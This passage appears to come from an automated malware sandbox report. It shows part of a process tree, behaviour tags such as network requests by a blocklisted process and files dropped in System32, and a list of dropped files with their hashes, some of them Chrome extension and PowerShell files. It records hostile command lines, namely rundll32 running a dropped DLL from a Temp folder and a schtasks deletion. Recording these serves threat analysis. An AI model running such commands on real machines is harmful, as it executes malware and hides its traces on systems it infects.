\??\c:\windows\system32\rundll32.EXEc:\windows\system32\rundll32.EXE "C:\Windows\Temp\ruCXiJvmKkuTmmIt\apFSOeMn\ZzEKqic.dll",#1 /lQQdidQQS 5254031⤵PID:4144
-
C:\Windows\SysWOW64\rundll32.exec:\windows\system32\rundll32.EXE "C:\Windows\Temp\ruCXiJvmKkuTmmIt\apFSOeMn\ZzEKqic.dll",#1 /lQQdidQQS 5254032⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:1752 -
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "ROHimGgVjIIdgMKwK"3⤵PID:4808
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
129B
MD5a526b9e7c716b3489d8cc062fbce4005
SHA12df502a944ff721241be20a9e449d2acd07e0312
SHA256e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066
SHA512d83d4c656c96c3d1809ad06ce78fa09a77781461c99109e4b81d1a186fc533a7e72d65a4cb7edf689eeccda8f687a13d3276f1111a1e72f7c3cd92a49bce0f88
-
Filesize
2KB
MD5085deebe5fa2c52b9da13de54886bec0
SHA1be69c529907ce1277ef91e36ddeccc9de79a31ba
SHA256e3186ee059747a1912ba70335241e0cb19c8b9116dce065b5fa3ab5d1a95f041
SHA51296a98a2f8ccb9594327ef2d76f2572faf2e51856a1a3bef577e15e2c86048069f33b58c470de5d67b115dd54bd0b91ff3d294dd61977dac503d1b524cc74b490
-
Filesize
2KB
MD581edd1f515372ea2e33cdc7acb46639e
SHA1efad32eed316524c92ef7ac74893ffa2ac101888
SHA256d23ba352622cc1f0c90886eaa15085597a6a8f1edd6d59f01d16af93bc78c134
SHA512c3b1b71f0713b353e7d9ca2dded1613b2b51e78452b218b9bbe8dbda3c80b47518b43c048e4455093312944b7eab64fd94f8fd18024dd79860a9f9a195d8cab7
-
Filesize
2KB
MD5aabd7201a1f9c678a47711b3a5ed57a0
SHA179e17a4c787ed9fd08fe365085380c4970853cf5
SHA2569b36ca0b44bd7e4b47e3c41e15a78bd8a5e8e51da1d0eb7d148d485728b6f593
SHA512003616dc71c0b4ff5d73c8679d40bc433b5dec9ae8f993e74033d5f9bc900bd49eba7699814b86c58a9bdb5406388068a28cb0e76a703b8ae26249802855b2fa
-
Filesize
2KB
MD5d3ced373266044fb1b67747233a1a0e4
SHA1bf749207ad6759734720a0ce17b93c5946b59007
SHA2567386fa79158e0d585d4d3b347b6c080a97e1529c3f216d7b21021a6884fb7e22
SHA51202f4f6825d7d7316b7b765e2e45d78b7e98bc3cb4b7b12680dbcb80231cdec113e6d0f739fa1ee73d092cebf51ac42cec2d3aeae74badabba31095ae24456e49
-
Filesize
2.5MB
MD5978a23a44b6a51809d519971f3664d54
SHA14b90ceb392c0d0469d3069204983a1a9845179b1
SHA2560c6cf29d8179da1d91918968d3d53e3f2a00cb2b45ca5e20a0c6915800cbd364
SHA512f15a04fddec3c567d1ed22ddc64888aa3c6bf9c287b0af3b2ff6054521ba0c141609dfc9f92fac6592fa0cd9a8a4c09b01fcbeab7069c29b3811e1d42bb80def
-
Filesize
2KB
MD5cf95587b76e1da3f831487dcaf2250bb
SHA141d372ceff8610c4a6b349adeabd0d9f080eead3
SHA2569e4dc46581335eed4bf1426d5e5b49cff3c8f1e99a3b7977a135098a256ac8a9
SHA512a05fbba5d9da8dc735200886bd780e5a422e7b77c0f46a487a4d17c9ab21011a98ade65ce7b2b4664171a78247a709351730eee35c0f6f15f8cd35c6ee621fa1
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\en_GB\messages.json
Filesize187B
MD52a1e12a4811892d95962998e184399d8
SHA155b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720
SHA25632b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
SHA512bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\fa\messages.json
Filesize136B
MD5238d2612f510ea51d0d3eaa09e7136b1
SHA10953540c6c2fd928dd03b38c43f6e8541e1a0328
SHA256801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
SHA5122630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\pt_BR\messages.json
Filesize150B
MD50b1cf3deab325f8987f2ee31c6afc8ea
SHA16a51537cef82143d3d768759b21598542d683904
SHA2560ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
SHA5125bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f
-
Filesize
10KB
MD5d878e24ba846706ca894c8492801997f
SHA1a4579f13f15d74dce738daeb9c0df52ff2d9ba71
SHA256b99bf2d18e4b5abef5408c7adc09699bab28268da427ca074cbf5721dab90aff
SHA5128f871a8c1ccd35fe9682cba37d76c77e32c4cbac66bfeff5c3ed51079efa6a8a3c843fe58b791934020de97a91fbe6fdbc07c4366771ce048e571b98c1a4c3b1
-
Filesize
30KB
MD5f2ce36b2b3fbebc8a55b8d48fcd40eba
SHA152f6c9ec7fa807c919b81b6ab838487920a6dc02
SHA256ecd96df722409e1a7941ccb842745d36e215f14ee5a68eb7fa8aabf738ede4cb
SHA5125a6a52bf80274fbd3dea88fea4cf63ade778e1187f190a053093452e19b36fbaf929c9f02f98cd311614e261cd1d194a5c35666a7175cdcff9a49d2e41bc66eb
-
Filesize
12KB
MD5b71e0a482eeca28378440dc9a6404050
SHA144b7d835d0ae396f4d7fc149b1d3cc979693ab8f
SHA256c0b284bcb7a50ded73f36f1176093fabd309054755a03d585230a3631013e7af
SHA5125a184906e27337f07357a34cca263b7ff6c885f3500fb240db8f22e27400c8a67376ec7082ae9572cc8436f64708a4a4f90fb339dcd5d9038f1dc498cfb68772
-
Filesize
6.4MB
MD5b94384dd6eb727fb15aa4802080d08ab
SHA11350c986b8cbd6324ade78481b8739b7542077fd
SHA2568f90b08df89ca8574d4247febc0e9a65e016f643fcb8d001e9e69352e9d6023c
SHA512fedee0d62c9ae94fce4e19814d027beae0be25116eaa0d51c7e6210dcac25bedb1de66456d8bb50add7ec1a318eb075caf921e48d9525da27877c6634c24e2e5
-
Filesize
6.7MB
MD584da5fc2f43e551848349f0d0d3faca4
SHA1cf0078c71fb1ef9743451b6a20d9aa0306e697db
SHA2561989cb898e0e397b9acc16c453c94cf3f1873573979d36873182b18b8da86938
SHA5129a605654c70dc27ae52760b2ced4aa3eedda6e98919ef96d9615c754f07e12c1748f6f978ffc916cb693e7788b21dc101a2442e3251f9a598aa223d9ead238bd
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
7KB
MD5f55b8a7d83d0347da8e353b876936763
SHA1b4561052e55661a141695022742f7abc7cdbac85
SHA256fcd1992df5e0f7c9f2e9a0f3ada0196315ba5c6844b9a705d2bf9615aa73acff
SHA512d2ad144cb25fc8bc77f04582ecbbe252f288f89db6913f1f7089a480f669e4a935df2135f10d392de24f8bdfffbf8195a9c237d8bd8d77adaca124a1597bb2e4
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize1KB
MD50f5cbdca905beb13bebdcf43fb0716bd
SHA19e136131389fde83297267faf6c651d420671b3f
SHA256a99135d86804f5cf8aaeb5943c1929bd1458652a3318ab8c01aee22bb4991060
SHA512a41d2939473cffcb6beb8b58b499441d16da8bcc22972d53b8b699b82a7dc7be0db39bcd2486edd136294eb3f1c97ddd27b2a9ff45b831579cba6896d1f776b0
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize12KB
MD5a2be32a7c8d9c7dbd8e6b99364bb991a
SHA19c874138218b0d37bad5d53942a8d6af071324f4
SHA256cf2db1333b925dc1b116a6f9d3b19d4216caecdf093a52ed391526155d73aa69
SHA512ca25f60b17dda7336620541580703793b5b643af192221e1fb2206afebda169c4500abb780a8daf85b3857915d631d1842bcf1364e9b639aeda16ea8bd691967
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize12KB
MD54288de3a976c7934154007f696e1f9d7
SHA1dd42d966ecc7c56571cb076f685d147c9a0a42b2
SHA25694eb1b3b85097e5799f0babdcbfc808580b499be6320499a204a1d342f24b0a6
SHA512b2a97066cd524998013052df8c1062ceccb8a707641a546a4227f109d4e668be7aabc878d6db22f0c430ab1b5669c4510262cd2f2abab426551bf98bba98444d
-
Filesize
6.4MB
MD5d2aff308118773da5201fe22031e0a1a
SHA141e73df772d0803b968330cd41667c3853beca32
SHA2562ac07503ca0f99cd53512eacaaf57aeb4372757d489df640c54af28d0ed5e8a1
SHA51278a5b56996835e928410545ea6e12f0127fbdf638b6c8ae8ac95303eb7a0253d107a344e9492b36b86bc0ec62216676628661ba3c0c711804e6ee675a4b45b23
-
Filesize
6KB
MD5968286be198ff595f13097db81ab33be
SHA1ca9002773f6baf6c7fd573531fbc7e86258c9efe
SHA256eeda5df56623ebdce4399f804708962d1c643c0960571345ca800bf47fff6d58
SHA51238bbb71b678fa210ce2faa469a4d88e1da754e80268c89e7f651d267a501818d76ebd7b53d4ea51fc2427bac4c365a2aa85cc57f19364af7ca4f0feb67f1705d